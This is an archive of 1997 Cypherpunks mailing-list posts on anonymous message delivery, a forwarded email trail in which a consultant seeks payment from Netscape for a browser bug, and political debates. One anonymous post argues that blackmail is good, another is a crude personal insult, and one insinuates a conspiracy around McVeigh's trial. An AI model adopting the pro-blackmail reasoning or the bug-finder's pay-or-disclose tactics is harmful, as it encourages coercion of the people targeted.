make a complete list of cypherpunk recipients given the multi-rooted
"tree" structure of the list.  There are leaves in many countries.
Even if every wire were tapped and tracked, it would be hard to
guarantee that people were not moving list traffic around on
diskettes.

To make filtering easy for people, I would suggest adding an
"X-Private-Message" field to the header.  For PGP messages, the
contents of this field could be "PGP-Key-Id:0xDEADBEEF".  (New formats
can be invented as new protocols are invented.)

Some people will object to this new form of "noise" message.  It
should be easy for somebody to set up a subsetted version of the list
which pre-filters the private messages.  (Although, how anybody can
read the raw list without a filter of their own is a mystery to me.)

A good reason to receive the complete list is that it conceals the
fact that you are receiving (or not receiving) anonymous messages.  If
you think you might ever in the future receive an anonymous message,
this will allow you to do so without revealing it.

This scheme could be attacked by actively intervening with the
propagation of the list and supplying people with different messages
depending on which branch of the "tree" they are on.  This could be
used successively to narrow the list of "suspects" receiving a certain
message.

There are two ways to prevent this.  One is to receive the list from
more than one source and compare the messages received.  If many
people are doing this, which is likely since each has a strong
motivation to detect this attack, then the first attempts should be
detected immediately.  The other method is to have a trusted person
post a signed list of message ids and checksums that have come down
the wire every day.

(Acknowledgement: This is probably a rehash of BlackNet.)

Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 17 Jun 1997 04:22:16 +0800
To: cypherpunks@toad.com
Subject: Re: eDrugs / Re: e$: Skins vs. Shirts
Message-ID: <199706161942.VAA03680@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Drug Monger wrote:
>> Wow. I actually understood all that...
>> The scent of the cogs is unmistakable hereabouts.
>
>  Hetting and Young both pass on a variety of highly informative and
>exceedingly normal, reality-based material for the most part. Then,
>out of the blue, they post Taoist-Kerouac, acid-flashback missives
>which indicate that the Orphan Zombies roaming the computer Nether-
>world have not yet managed to steal their souls.
>  Since John and Bob's psyche-meanderings often seem to occur within
>the same time-frame I have concluded that they both have the same
>drug connection.
>
>  So...did you bring enough for everybody?

That's the nice thing about data-based drugs -
just tear open this hypercard and look at the nice binary patterns,
and you can make lots of copies for your friends.

Do _you_ have the hacker nature?
<IMG HREF="http://www.blacknet.net/snowcrash.gif">
Do you _still_ have the hacker nature?

                 Raven









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 17 Jun 1997 13:13:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <199706170459.VAA17233@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



A few comments... 

Almost every non-trivial program which runs on a platform which does not
shield the OS from applications can be subverted to give access to the
target machine. 

This is hardly news.  The fact that a determined Dane with a debugger
managed to poke through the code and break something is neither
earth-shattering nor remarkable. 

In something the size of Netscape, I'm sure 999,999 exploits still remain. 
The company is hardly going to start writing checks every time someone
finds one of them.

Until all application software runs on secure virtual machines, or passes
bytecode verification and formal proofs of correctness, this problem will
continue to exist, not only in Netscape, but in every other large
application as well.

Big Yawn. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.net   $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Tue, 17 Jun 1997 13:15:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <3.0.2.32.19970616070059.0076d9c4@netcom13.netcom.com>
Message-ID: <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, Lucky Green wrote:

> At 05:02 PM 6/15/97 -0700, Rich Graves wrote:
[...]
> >Of course it probably helped that the guy was white, and probably
> >driving a "decent" car, and carrying "decent" guns and not some
> >"Saturday Night Special." 
> 
> The guy being white and educated may well have convinced the cop to not
> make a fuzz. My local newspaper recently ran an article about a few
> Hispanic looking folks who had some photographs of themselves holding guns
> in their hands developed at the supermarket. Before they even picked up the
> prints, the clerk had called the cops which in turn raided the unfortunate
> gun owners.
> 
> It turned out that the Hispanics owned the firearms legally.

I always knew you had a bleeding-heard liberal inside, just struggling to
come out. 

Yes, for some people, this is a police state. But the threat is not (just) 
the FBI/CIA/ATF/NSA; it's us. It's the people developing photos at the
supermarket who aren't comfortable with Hispanics and "ebonites" having
guns, and believe the police or TLAs should put a stop to it. Technical
capabilities don't oppress people; people do.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 17 Jun 1997 10:55:50 +0800
To: cypherpunks@toad.com
Subject: More about Netscape Bug finder
Message-ID: <v030209a4afcb8c31bbc6@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Mon, 16 Jun 1997 18:24:32 -0500
From: Bill GL Stafford <springco@arn.net>
Organization: Spring Management Company
MIME-Version: 1.0
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Subject: More about Netscape Bug finder
X-Priority: 3 (Normal)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Bill GL Stafford <springco@arn.net>

  Christian Orellana, gambled $1000 and lost.  Not the worst thing he could
have done.  Now the world knows how Netscape approaches a potential
crisis.  They did not panic although they may have come close to it.  I've
seen that much lost in a cloak room with a pot not near as big as Christian
sought. Anyway you look at it it's just a roll of the dice.Bill GL Stafford
springco@arn.net
 Wired Magazine on web
An Email Trail from Bug Spotter to
           Netscape
           6:01pm  13.Jun.97.PDT The following is a copy of the
           email exchange between Netscape officials and
           Christian Orellana, the Danish consultant who
           found the Netscape Navigator bug. A copy of the
           text was provided to Wired News by Netscape and
           appears unedited. Wired News has chosen not to
           publish Orellana's email address.
           Subject: Major security bug in Netscape
           Navigator 3 and 4
           Date: Mon, 9 Jun 1997 19:19:13 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           We have discovered a major security bug in
           Netscape Navigator 3.0, which remains uncorrected
           in the new Communicator release. The bug affects
           Navigator running on all platforms in the standard
           configuration.
           The bug allows access to any file on the clients file
           system, and does not affect Microsoft Internet
           Explorer.
           This bug is potentially very interesting to Netscape
           considering that the new release of Navigator is due
           in just three days.
           The bug has not previously been reported, and
           remains unknown to anyone but us (to the best of our
           knowledge). Please get back to us a.s.a.p. (before
           Netscape DevCon) if this knowledge is of any interest
           to you. You can reach me at the phone number
           below.
           I have tried to reach Netscape for a while now, and if
           Netscape remains uninterested in the issue I may
           contact some other interested parties.
           Yours sincerely,
           Christian Orellans [sic]
           ---
           Subject: Please confirm
           Date: Mon, 9 Jun 1997 20:14:08 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           Could you please confirm that you have received my
           previous letter.
           Also I would like to restate my claim that this is of the
           utmost importance for the upcoming launch of
           Communicator. The bug allows complete read access
           to the clients hard disk.
           Christian Orellana.
           ---
           Subject: Re: [Fwd: Major security bug in
           Netscape Navigator 3 and 4]
           Date: Mon, 09 Jun 1997 11:51:04 -0700
           From: edithg@netscape.com (Edith Gong)
           Organization: Netscape Communications
           To: Shannon Tracy , lalam@netscape.com
           References:
           <339C3C32.FE3F5683@netscape.com>
           Shannon,
           I don't know what else to do. Can someone in DSE
           contact this person to get the details by phone. We
           can't investigate until we understand what the issue is.
           I'll see if someone in tech support can contact the
           customer
           Edith
           ---
           Subject: Re: Please confirm
           Date: Mon, 09 Jun 1997 12:00:03 -0700
           From: Shannon Tracy
           Organization: Netscape Communications
           To: Christian Orellana
           References:
           Dear Christian Orellana:
           Yes, I received your message. The project manager
           just responded that they are trying to find someone to
           contact you, however, we can't investigate until we
           understand what the issue is. Can you please furnish
           a few additional details so that we know who best
           might be able to handle this situation?
           Thanks,
           Shannon Tracy
           ---
           Subject: Re: Please confirm
           Date: Mon, 9 Jun 1997 21:11:44 +0200
           From: Christian Orellana
           To: stracy@netscape.com (Shannon Tracy)
           References:
           Dear Shannon.
           In short the first version of the bug I had up and
           running allowed me to get any file whose path I knew
           on the clients hard disk. I just got another version up
           and running, and considering that the location of
           quite a few files on a typical windows/mac/unix
           installation is pretty well known, it should be no
           surprise that this new version can actually scan the
           clients harddisk for specific files, and download them.
           I can not reveal much more detail, without giving
           away the bug, which I will not do, since I think this
           information is so valuable to Netscape that it should
           be worth a good deal of money. The information is
           certainly worth a bit on the free market, and I am
           currently awaiting responses from other parties.
           In other words I think the person most suited for
           handling this, is someone in charge of the company
           check book (-;
           Regards - Christian
           ---
           Subject: final note on Navigator bug
           Date: Mon, 9 Jun 1997 23:07:59 +0200
           From: Christian Orellana
           To: stracy@netscape.com (Shannon Tracy)
           Netscape:
           I think my approach to you on this subject has been
           fair and serious. I am offering you a piece of
           information that I consider of very high value. The
           implications of the bug mentioned in previous emails
           are immense.
           Considering the widespread use of home-banking
           software, not to mention the impact on multiuser
           systems in the government and corporate sector, like
           unix and NT environments, where access to the
           encrypted password-files would render the systems
           extremely vulnerable, I think all pre Communicator
           versions of Navigator (supposing you fix the bug in
           Communicator) would be pretty useless. I will leave it
           to you to estimate what impact that would have on
           Netscape stocks.
           I have to inform you that David Gross at CNN is on
           hold with the news, and is only waiting for me to give
           him the final demonstration, to verify the bug.
           I must also inform you that CNN is not the only
           interested party, and that I will consider my options
           once I get Netscape's standpoint on the matter.
           I would be more than happy to give a demonstration
           of the bug, under controlled circumstances, but we
           would have to sign some sort of agreement first.
           Regards, Christian Orellana.
           ---
           Subject: Re: [Fwd: Major security bug in
           Netscape Navigator 3 and 4]
           Date: Thu, 12 Jun 1997 16:40:33 -0700
           From:chrish@netscape.com (Chris Holten)
           Organization: Netscape Communications
           To:chrish@netscape.com
           References: 1
           Subject: Major security bug in Netscape
           Navigator 3 and 4
           Date: Mon, 9 Jun 1997 19:19:13 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           We have discovered a major security bug in
           Netscape Navigator 3.0, which remains uncorrected
           in the new Communicator release. The bug affects
           Navigator running on all platforms in the standard
           configuration. The bug allows access to any file on
           the clients file system, and does not affect Microsoft
           Internet Explorer.
           This bug is potentially very interesting to Netscape
           considering that the new release of Navigator is due
           in just three days.
           The bug has not previously been reported, and
           remains unknown to anyone but us (to the best of our
           knowledge).
           Please get back to us a.s.a.p. (before Netscape
           DevCon) if this knowledge is of any interest to you.
           You can reach me at the phone number below.
           I have tried to reach Netscape for a while now, and if
           Netscape remains uninterested in the issue I may
           contact some other interested parties.
           Yours sincerely,
           Christian Orellans
           ---
           Subject: Please confirm
           Date: Mon, 9 Jun 1997 20:14:08 +0200
           From: Christian Orellana
           To: stracy@netscape.com
           Hello!
           Could you please confirm that you have received my
           previous letter.
           Also I would like to restate my claim that this is of the
           utmost importance for the upcoming launch of
           Communicator. The bug allows complete read access
           to the clients hard disk.
           Christian Orellana.
  For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 17 Jun 1997 15:43:11 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615172709.19288B-100000@cp.pathfinder.com>
Message-ID: <v03007880afcbdc79c88f@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:09 PM -0700 6/15/97, Tim May wrote:
>One way they buy people--very reminiscent of the methods used to recruit
>spies--is to feed reporters with information they can't get anywhere else,
>and swear them to secrecy. This ties them up in complicated webs of trust,
>mistrust, and deceit, and makes the reporters more dependent on them for
>future stories.

All reporters should carefully consider the example of I. F. Stone.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 14:50:22 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.LNX.3.91.970616112023.236B-100000@fatmans.demon.co.uk>
Message-ID: <3.0.2.32.19970616233000.0075a9f4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 AM 6/16/97 -0700, Tim May wrote:
>I wish Declan well, really. But his frequent name-dropping about soirees
>he's been invited to, bigwigs he's had power lunches with...well, I think
>the evolution has been set in motion. 

Foo ...  On a list with several millionares, people who make the 
New York Times Magazine cover, people who get in the Times for
successfully suing the NSA, college students who get covered on
National Public Radio, people who were in Wired before it was c001,
people who drop in on Esther in New York because they'll be too 
busy to see her at Hackers', people who were Xanadudes or SGML hackers
decades before the Web caught on, people who were on the Well
before that Grateful Dead lyricist got there, various wizards of
speed and time, folks who have Japanese tv crews show up for their parties
and already know Tim Leary when he drops... by, I'd say we have enough
people who are or know Silicon Valley insiders to really complain much
when people from the Other Coast talk about who _they_ had lunch with :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 15:13:22 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>
Message-ID: <199706170706.CAA31285@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>, on
06/16/97 
   at 10:04 PM, Rich Graves <rcgraves@disposable.com> said:


>On Mon, 16 Jun 1997, Lucky Green wrote:

>> At 05:02 PM 6/15/97 -0700, Rich Graves wrote:
>[...]
>> >Of course it probably helped that the guy was white, and probably
>> >driving a "decent" car, and carrying "decent" guns and not some
>> >"Saturday Night Special." 
>> 
>> The guy being white and educated may well have convinced the cop to not
>> make a fuzz. My local newspaper recently ran an article about a few
>> Hispanic looking folks who had some photographs of themselves holding guns
>> in their hands developed at the supermarket. Before they even picked up the
>> prints, the clerk had called the cops which in turn raided the unfortunate
>> gun owners.
>> 
>> It turned out that the Hispanics owned the firearms legally.

>I always knew you had a bleeding-heard liberal inside, just struggling to
>come out. 

>Yes, for some people, this is a police state. But the threat is not
>(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
>at the supermarket who aren't comfortable with Hispanics and "ebonites"
>having guns, and believe the police or TLAs should put a stop to it.
>Technical capabilities don't oppress people; people do.

If it wasn't for the fact that we *are* living in a police state the
opions of a supermarket clerk would not be relevant.

If we were living in a Constutional democracy where the TLAs had to abide
by the laws of the land then the gestapo would have never even though of
raiding the Hispanic gun owners.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Tue, 17 Jun 1997 15:44:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <199706170706.CAA31285@mailhub.amaranth.com>
Message-ID: <Pine.GUL.3.95.970617002359.19769C-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 17 Jun 1997, William H. Geiger III wrote:

> In <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>, on
> 06/16/97 at 10:04 PM, Rich Graves <rcgraves@disposable.com> said:
> 
> >Yes, for some people, this is a police state. But the threat is not
> >(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
> >at the supermarket who aren't comfortable with Hispanics and "ebonites"
> >having guns, and believe the police or TLAs should put a stop to it.
> >Technical capabilities don't oppress people; people do.
> 
> If it wasn't for the fact that we *are* living in a police state the
> opions of a supermarket clerk would not be relevant.
> 
> If we were living in a Constutional democracy where the TLAs had to abide
> by the laws of the land then the gestapo would have never even though of
> raiding the Hispanic gun owners.

What Gestapo? Lucky Green didn't tell the whole story, but it was my
impression he was talking about the local police or sheriff. They had local
police and sheriffs lo those glorious days of freedom of the antebellum
South, too. How else you expect people to protect their property? A man
can't stay awake watching for looters 24 hours a day, or if he does, he's
liable to start hallucinating and wasting ammunition. Gun control means
being able to keep your eyes open and shoot straight.

- -rich
 http://www.stanford.edu/~llurch/

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 17 Jun 1997 13:22:34 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <199706162249.RAA24929@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970617010815.5659A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, William H. Geiger III wrote:

> If I went and rented a truck and there was a "roach" in the ashtray I
> should not be held accountable for possesion unless it could be proved
> that it was mine and not from someone else that had used the truck or even
> a worker at the retal shop.

But if you drive for several miles, and get pulled over for speeding, the
fact that it's still in the truck is probably going to land you in jail,
if the cop finds some reason to search the truck.  (The smell of marijuana
or seeing the roach sitting the ashtray are valid reasons I believe)

If you haven't disposed of it, you're probably going to land in jail.
>From the law enforcement's point of view, can you see any difference
between your story and that of a person who's actually smoking?  (Honest
officer, it was in the truck when I got in!)  the evidence is there, and
you'll probably need to depend on character witnesses to get out of a
conviction...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 17 Jun 1997 09:42:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Homer on Terrorism
Message-ID: <19970617011917.5241.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Of course it was blackmail.  The reason people are confused about this is
they assume that blackmail is bad.

Blackmail is good.  The alternative is releasing the damaging information.
Blackmail gives the person who has something to hide a chance to keep the
information quiet.  He has more options than he would have in a system
where blackmail was impossible.

Laws against blackmail are even more senseless than laws against libel.
In the case of blackmail, the supposed victim is asking not to be allowed
to take actions which are in his own self interest, a classic case of protecting
someone from himself.

Fortunately, cryptography will liberate blackmail just as it will other forms
of communications.

BlackMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 17 Jun 1997 17:02:36 +0800
To: cypherpunks@toad.com
Subject: McVeigh Sentence
Message-ID: <199706170849.BAA28709@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  I was watching Dateline NBC interview the McVeigh jurors about the
trial and the interviewer asked them what they found to be the strongest
or most convincing evidence against McVeigh.
  A grandmotherly type answered that the most convincing of the evidence
against him was the pictures of the dead bodies.
  Perhaps the prosecution could have gotten McVeigh convicted on even
more charges if he had shown some pictures of heroin.

  I also watched McVeigh's lawyer give a statement that sounded like it
was prepared for him by the Whitehouse spin doctors.
  From the very first, right through to the end of the trial, I had the
feeling that McVeigh's lawyer seemed to be more of a spokesperson than
a lawyer. I've had lawyers show more skill and ferver in keeping my
dog out of the pound than he showed defending McVeigh.
  I don't know what exactly he was being paid $15 million for, but it
sure as hell wasn't for defending McVeigh. Even when he speaks about
the judge not allowing him to put on a real defense he acts like it's
just a minor matter of no real import.

  The only mystery in the trial was whether McVeigh was part of the
great pretense taking place or if he really thought his lawyer was
working in his best interests. I suspect that he's just naieve.
  I wouldn't place any large bets on MvVeigh living long enough to take
part in an Oklahoma City trial if that ever happens. The political
interests down there want more than just a showcase trial--they want
to find out the real story. Unless they get bought off or blackmailed
the Feds are going to have to bring Jack Ruby out of retirement.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 15:53:06 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <Pine.GSO.3.95.970617010815.5659A-100000@ece>
Message-ID: <199706170746.CAA31615@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970617010815.5659A-100000@ece>, on 06/17/97 
   at 12:14 AM, Ryan Anderson <randerso@ece.eng.wayne.edu> said:

>On Mon, 16 Jun 1997, William H. Geiger III wrote:

>> If I went and rented a truck and there was a "roach" in the ashtray I
>> should not be held accountable for possesion unless it could be proved
>> that it was mine and not from someone else that had used the truck or even
>> a worker at the retal shop.

>But if you drive for several miles, and get pulled over for speeding, the
>fact that it's still in the truck is probably going to land you in jail,
>if the cop finds some reason to search the truck.  (The smell of
>marijuana or seeing the roach sitting the ashtray are valid reasons I
>believe)

>If you haven't disposed of it, you're probably going to land in jail.
>>From the law enforcement's point of view, can you see any difference
>between your story and that of a person who's actually smoking?  (Honest
>officer, it was in the truck when I got in!)  the evidence is there, and
>you'll probably need to depend on character witnesses to get out of a
>conviction...

Well usually when someone gets nailed on somthing like this its in their
own vehicle. I would think that with it being a rental that one would have
plausible deniability and additional evidence would be required.

Ofcource if when you roll down the window a big cloud of some rolls out
(ala cheech & chong) that's another matter. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 16:03:27 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <Pine.GUL.3.95.970617002359.19769C-100000@Networking.Stanford.EDU>
Message-ID: <199706170758.CAA31715@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GUL.3.95.970617002359.19769C-100000@Networking.Stanford.EDU>, on
06/17/97 
   at 12:39 AM, Rich Graves <rcgraves@disposable.com> said:


>-----BEGIN PGP SIGNED MESSAGE-----

>On Tue, 17 Jun 1997, William H. Geiger III wrote:

>> In <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>, on
>> 06/16/97 at 10:04 PM, Rich Graves <rcgraves@disposable.com> said:
>> 
>> >Yes, for some people, this is a police state. But the threat is not
>> >(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
>> >at the supermarket who aren't comfortable with Hispanics and "ebonites"
>> >having guns, and believe the police or TLAs should put a stop to it.
>> >Technical capabilities don't oppress people; people do.
>> 
>> If it wasn't for the fact that we *are* living in a police state the
>> opions of a supermarket clerk would not be relevant.
>> 
>> If we were living in a Constutional democracy where the TLAs had to abide
>> by the laws of the land then the gestapo would have never even though of
>> raiding the Hispanic gun owners.

>What Gestapo? Lucky Green didn't tell the whole story, but it was my
>impression he was talking about the local police or sheriff. They had
>local police and sheriffs lo those glorious days of freedom of the
>antebellum South, too. How else you expect people to protect their
>property? A man can't stay awake watching for looters 24 hours a day, or
>if he does, he's liable to start hallucinating and wasting ammunition.
>Gun control means being able to keep your eyes open and shoot straight.

Does it really matter if they are local thugs or federal??

Are they exempt from the Constitution because the county signs their
paycheck rather than an agency in DC??

I highly doubt that the Hispanics envolved really cared which government
the brown shirts were working for when their doors were kicked in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Tue, 17 Jun 1997 15:38:50 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
Message-ID: <3.0.16.19970617032250.0d074edc@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:52 AM 6/13/97 -6, Peter Trei wrote:
...

>Think about this:
>
>Would you rather people did not burn the flag because:
>
>1. They'll be thrown in the slammer if they do.
>2. The[y] revere the values for which it stands, and will not descrate a
>   meaningful symbol of these values.
>
>In (2), we can look at the (very rare) individuals who *do* burn the
>flag, and determine for ourselves if they have a valid point to 
>convey.  
>
>In (1), we'll never know.
>
>For Congress to deny the freedom to burn the flag is a desecration of what
>the flag stands for - a descration of the flag by the government itself.

(I'm on Ray's FCPUNKS, please cc me directly, my replies may be delayed
and this may have already been covered anyway. Probably was.)

1. Burning is a proper way to dispose of old flags, according to my
old boyscout handbook, so I guess this is thoughtcrime.

2. Why not outlaw desecrating the Bill of Rights? (Oh, yeah. Congress
does that daily right now...)

3. Since when was "the flag" sacred, anyway? Doesn't something have
to be sacred for it to be desecrated? Isn't this a secular country?

4. Doesn't this seem like a way _not_ to discuss the sea of red ink
that this country is currently drowning in, and just stir up folks'
emotions instead? Sure does to me...I wish veterans and others who
get hot under the collar about this would get 1/8 as pissed about
the national debt.

5. Burn my flag (or copy of the Bill of Rights) and you'll probably
wind up shot. Burn your own flag/copy and watch me yawn. This law
is a *particularly* stupid one.
JMR

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Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 17 Jun 1997 20:07:32 +0800
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Accounts payable
Message-ID: <199706171153.EAA00765@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. May styles his facial hair to look more like pubic hair.

       .oooO           Oooo.
       (   )   _   _   (   )
        \ (   / ) ( \   ) /
     ----\_)-/ (---) \-(_/---- Timmy C. May
            (   ) (   )
            oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 17 Jun 1997 08:55:15 +0800
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162213.RAA24347@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970617061005.111H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, William H. Geiger III wrote:

[...]

> IMHO I think that we need a trial, similar to the Nuremberg Trials after
> WWII, for the politicians in DC for "High Crimes Against the Constitution
> of the United States".

I don't think it would be a trial,  more likly to be a House committee
doing this.  Infact we need to give this thing a name,  well Crimes
against the constitution is realy an un-american activity.  I know we
could call it the "House committee on UnAmerican Activities".

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 17 Jun 1997 19:52:29 +0800
To: cypherpunks@toad.com
Subject: RE: Digiweb.com's Movie Boys
In-Reply-To: <c=US%a=_%p=EDS%l=USPLE0019706170327NYWZSCWX@USPLE001>
Message-ID: <6kwF9D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Brad Shantz <BradS@TRIsource.com> writes:

> I already sent them the statutes against junk faxes (currently the only
> real spam-killer we have available), and reported them to a number of
> different agencies including the CAUCE.   Check out www.cauce.org for
> more information.

This thread had nothing to do with crypto and has taken more time and
effort to delete than the original troll.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
